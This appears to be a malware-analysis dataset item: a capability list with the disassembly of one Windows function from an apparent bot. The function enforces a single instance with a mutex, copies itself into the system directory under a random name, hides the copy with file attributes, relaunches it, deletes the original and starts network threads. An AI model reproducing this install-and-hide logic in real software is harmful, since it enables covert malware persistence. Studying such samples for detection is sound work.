Function at 0x40da8a
Capabilities:
Check for time delay via gettickcount
Check if file exists
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create process on windows
Create thread
Delete file
Get common file path
Get file attributes
Set file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x98c
push ebx
xor ebx, ebx
push esi
push edi
mov dword [ebp - 8], ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], 0x407b34
push dword [ebp - 0xc]
push dword fs:[0]
mov dword fs:[0], esp
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
xor edx, edx
mov ecx, 0x3e8
div ecx
mov dword [0x488768], eax
call esi
push eax
call fcn.004191c0
push 1
pop edi
push edi
push edi
call fcn.004063ae
add esp, 0xc
call fcn.0040a8d1
push 2
call dword [fcn.004422f4]
push 0x7530
push 0x4888e0
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x40db15
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea eax, [ebp - 0x888]
push eax
push 0x202
call dword [fcn.004421c0]
cmp eax, ebx
mov dword [ebp - 0xc], eax
jne 0x40e0d8
cmp byte [ebp - 0x888], 2
jne 0x40e0d2
xor eax, eax
mov al, byte [ebp - 0x887]
cmp al, 2
jne 0x40e0d2
mov esi, 0x104
lea eax, [ebp - 0x3f4]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x2f0]
push esi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x6f8]
push eax
lea eax, [ebp - 0x5f8]
push eax
push ebx
lea eax, [ebp - 0x2f0]
push ebx
push eax
call fcn.0041adb6
lea eax, [ebp - 0x6f8]
push eax
lea eax, [ebp - 0x5f8]
push eax
push 0x42bc80
lea eax, [ebp - 0x4f8]
push esi
push eax
call fcn.00418916
lea eax, [ebp - 0x3f4]
push eax
lea eax, [ebp - 0x2f0]
push eax
call fcn.0041a170
add esp, 0x30
test eax, eax
jne 0x40dd8c
cmp dword [0x4888d8], ebx
mov esi, 0x43246c
je 0x40dc13
push esi
xor edi, edi
call fcn.00418970
sub eax, 4
pop ecx
je 0x40dc10
call fcn.004191ca
push 0x1a
cdq
pop ecx
idiv ecx
push esi
add dl, 0x61
mov byte [edi + 0x43246c], dl
inc edi
call fcn.00418970
sub eax, 4
pop ecx
cmp edi, eax
jb 0x40dbed
push 1
pop edi
lea eax, [ebp - 0x3f4]
push esi
push eax
lea eax, [ebp - 0x1ec]
push 0x42ba20
push eax
call fcn.00418f47
add esp, 0x10
lea eax, [ebp - 0x1ec]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x40dc53
lea eax, [ebp - 0x1ec]
push 0x80
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov esi, dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [ebp - 0x1ec]
push ebx
push eax
lea eax, [ebp - 0x2f0]
mov dword [ebp - 4], ebx
push eax
call esi
test eax, eax
jne 0x40dca5
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [ebp - 4], ebx
jne 0x40dca5
cmp eax, 0x20
je 0x40dc86
cmp eax, 5
jne 0x40dca5
push 0x3a98
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x1ec]
push ebx
push eax
lea eax, [ebp - 0x2f0]
push eax
jmp 0x40dc6b
lea eax, [ebp - 0x1ec]
push eax
call fcn.0040bc2e
pop ecx
lea eax, [ebp - 0x1ec]
push 7
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x10
lea eax, [ebp - 0x24]
push ebx
push eax
call fcn.004189f0
push 0x44
lea eax, [ebp - 0xe8]
pop esi
push esi
push ebx
push eax
call fcn.004189f0
add esp, 0x18
mov dword [ebp - 0xdc], 0x43afa4
mov dword [ebp - 0xe8], esi
mov dword [ebp - 0xbc], edi
mov word [ebp - 0xb8], bx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push edi
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
lea ecx, [ebp - 0x2f0]
push ecx
push eax
lea eax, [ebp - 0x1ec]
push eax
lea eax, [ebp - 0x98c]
push 0x432dcc
push eax
call fcn.00418f47
add esp, 0x14
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0xe8]
push eax
lea eax, [ebp - 0x3f4]
push eax
push ebx
push 0x28
push edi
push ebx
lea eax, [ebp - 0x98c]
push ebx
push eax
lea eax, [ebp - 0x1ec]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40dd8c
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [ebp - 0x24]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x20]
call esi
call dword [fcn.004421a8]
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp dword [0x488bd4], 2
jle 0x40ddd8
mov eax, dword [0x488bd8]
push dword [eax + 4]
call fcn.00418e4a
pop ecx
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x488bd8]
cmp dword [eax + 8], ebx
je 0x40ddd8
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x488bd8]
push dword [eax + 8]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp dword [0x432400], ebx
je 0x40ddf5
cmp dword [0x442318], ebx
jne 0x40ddf5
lea eax, [ebp - 0x4f8]
push eax
call fcn.00405857
pop ecx
lea eax, [ebp - 0xa4]
push 0x432db4
push eax
call fcn.00418f47
push ebx
lea eax, [ebp - 0xa4]
push ebx
push eax
call fcn.00417ed1
lea eax, [ebp - 0xa4]
push eax
call fcn.00405616
push 0xb80
push ebx
push 0x442e58
call fcn.004189f0
lea eax, [ebp - 0xa4]
push 0x432d94
push eax
call fcn.00418f47
push ebx
lea eax, [ebp - 0xa4]
push edi
push eax
call fcn.00417ed1
add esp, 0x38
mov edi, eax
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
lea eax, [ebp - 8]
push eax
push ebx
push ebx
push 0x40d709
push ebx
push ebx
call esi
imul edi, edi, 0x234
cmp eax, ebx
mov dword [edi + 0x443bec], eax
jne 0x40de94
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0xa4]
push 0x432d58
push eax
call fcn.00418f47
add esp, 0xc
lea eax, [ebp - 0xa4]
push eax
call fcn.00405616
lea eax, [ebp - 0xa4]
mov dword [esp], 0x432d30
push eax
call fcn.00418f47
push ebx
lea eax, [ebp - 0xa4]
push 1
push eax
call fcn.00417ed1
add esp, 0x14
mov edi, eax
lea eax, [ebp - 8]
push eax
push ebx
push ebx
push 0x415e50
push ebx
push ebx
call esi
imul edi, edi, 0x234
cmp eax, ebx
mov dword [edi + 0x443bec], eax
jne 0x40df01
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0xa4]
push 0x432cf8
push eax
call fcn.00418f47
add esp, 0xc
lea eax, [ebp - 0xa4]
push eax
call fcn.00405616
lea eax, [ebp - 0xa4]
mov dword [esp], 0x432cd4
push eax
call fcn.00418f47
push ebx
lea eax, [ebp - 0xa4]
push 1
push eax
call fcn.00417ed1
add esp, 0x14
mov edi, eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x4f8]
push ebx
push eax
push 0x4058c7
push ebx
push ebx
call esi
imul edi, edi, 0x234
cmp eax, ebx
mov dword [edi + 0x443bec], eax
jne 0x40df74
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0xa4]
push 0x432c9c
push eax
call fcn.00418f47
add esp, 0xc
lea eax, [ebp - 0xa4]
push eax
call fcn.00405616
call fcn.004191ca
push 0x7f
push 0x432420
push 0x488774
mov dword [0x4888ec], eax
call fcn.00419e20
mov eax, dword [0x4323e4]
push 0x3f
mov edi, 0x4887f4
push 0x43243c
push edi
mov dword [0x4888c4], eax
call fcn.00419e20
push 0x3f
mov esi, 0x488834
push 0x432440
push esi
call fcn.00419e20
add esp, 0x28
mov dword [0x4888c8], ebx
mov dword [ebp - 4], ebx
cmp dword [0x442330], ebx
jne 0x40dff3
lea eax, [ebp - 0x14]
push ebx
push eax
call dword [fcn.0044218c]
test eax, eax
jne 0x40dff3
push 0x7530
jmp 0x40e01f
push 0x488770
mov dword [0x4888e8], ebx
call fcn.0040e0e1
cmp eax, 2
mov dword [ebp - 0xc], eax
je 0x40e0cd
cmp dword [0x4888e8], ebx
je 0x40e01a
dec dword [ebp - 4]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
inc dword [ebp - 4]
cmp dword [ebp - 4], 6
jl 0x40dfd5
cmp dword [ebp - 0xc], 2
je 0x40e0cd
cmp dword [ebp - 0x10], ebx
je 0x40e07d
push 0x7f
push 0x432420
push 0x488774
call fcn.00419e20
mov eax, dword [0x4323e4]
push 0x3f
push 0x43243c
push edi
mov dword [0x4888c4], eax
call fcn.00419e20
push 0x3f
push 0x432440
push esi
call fcn.00419e20
add esp, 0x24
mov dword [ebp - 0x10], ebx
jmp 0x40dfd2
cmp byte [0x432448], bl
je 0x40dfd2
push 0x7f
push 0x432448
push 0x488774
call fcn.00419e20
mov eax, dword [0x4323e8]
push 0x3f
push 0x43245c
push edi
mov dword [0x4888c4], eax
call fcn.00419e20
push 0x3f
push 0x432464
push esi
call fcn.00419e20
add esp, 0x24
mov dword [ebp - 0x10], 1
jmp 0x40dfd2
call fcn.0041809a
call dword [fcn.004421a8]
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10